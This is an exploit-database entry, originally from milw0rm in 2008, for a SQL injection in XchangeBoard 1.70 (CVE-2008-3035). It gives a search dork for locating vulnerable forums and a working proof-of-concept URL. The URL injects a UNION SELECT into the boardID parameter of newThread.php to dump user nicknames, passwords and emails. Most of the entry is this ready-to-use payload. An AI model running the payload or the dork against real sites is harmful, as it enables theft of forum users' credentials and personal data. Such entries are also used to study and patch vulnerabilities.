XchangeBoard 1.70 - 'boardID' SQL Injection

Author: haZl0oh
type: webapps
platform: php
port: 
date_added: 2008-07-01 
date_updated: 2016-12-13 
verified: 1 
codes: OSVDB-46670;CVE-2008-3035 
tags: 
aliases:  
screenshot_url:  
application_url: 

######################
 #
 # xchangeboard 1.70 final and lower
 #
 #
 ######################
 #
 #Bug by: haZl0oh #
 #Dork: "Powered by xchangeboard"
 #info:you have to be an registered user to use it like this !!!!
 #there should be a lot more vulns there ;)
 #
 #
 #
 # credentials like passwords are saved as cookies .... :D
 ##
 ###
 ##
 #
 #PoC:
 #http://site.com/path/newThread.php?boardID=+999999%20union%20select%20email,concat_ws(0x3a,nick,substring(password,1,100)),email,email,email%20from%20user/*
 #
 # #
 #
 #
 #######################
 #
 #Greetz to h0yt3r ,everiZzel & Mastermaefju
 #
 #######################
#######################

# milw0rm.com [2008-07-02]